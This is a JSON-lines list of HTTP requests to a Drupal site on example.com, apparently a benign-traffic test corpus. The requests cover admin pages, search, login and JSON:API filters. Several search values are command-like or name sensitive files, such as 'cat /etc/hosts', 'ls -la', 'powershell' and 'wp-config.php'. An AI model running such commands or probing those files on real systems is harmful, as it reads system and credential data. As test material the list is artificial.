{"method": "GET", "target": "/media/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/media", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dtaxonomy_term%3Alocation%3Dpage%26name%3Dtaxonomy_term%26display_id%3Dpage_1%26langcode%3Den&ids%5B%5D=taxonomy_term%3Ataxonomy_term%3D1%3Achanged%3D1794214658%26langcode%3Den&ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&tokens%5B%5D=GAe0zLesmOPq7bQZ_NH5jfUk6MU99eEngNvruqUxOgw&tokens%5B%5D=rydUkwhJOkTb6iVeuq6z0HGrGVXmL37cXZOt5fmvGkY&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo"}
{"method": "GET", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=hello%20world&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=python3&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=powershell&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=ls%20-la&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=.htaccess&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=wp-config.php&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=docker-compose.yml&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-2mqij9gEz7sEEx0AFXDMNhEi7UGMmIKDKOtaH__AdcM&form_token=4rgwkD4H8ojOv1RvJymJhN4_mA6DPv6hOdwHxXCOjMM&form_id=user_logout_confirm&op=Log+out"}
{"method": "GET", "target": "/search?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryS0AxXBAlk7QxCkUx", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"mail\"\r\n\r\nnew.person@example.com\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nnew_person\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][display]\"\r\n\r\n1\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Ylo4JYJ_UfFvdR3PaUXBHi1yzjp7M4C4e1XY6hAE1y0\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nuser_register_form\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nCreate new account\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx--\r\n"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "name=new.person%40example.com&form_build_id=form-Zkr9kQgDYORrLzpGPYPnF0LHbbHjoangOOgglubhsdE&form_id=user_pass&op=Submit"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"example-password-1\"}"}
{"method": "GET", "target": "/user/login_status?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/session/token", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/jsonapi", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/page", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?include=uid,field_tags,field_image&sort=-created,title&page%5Blimit%5D=10&page%5Boffset%5D=0&fields%5Bnode--article%5D=title,body,created", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=hello%20world&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=python3&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=powershell&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
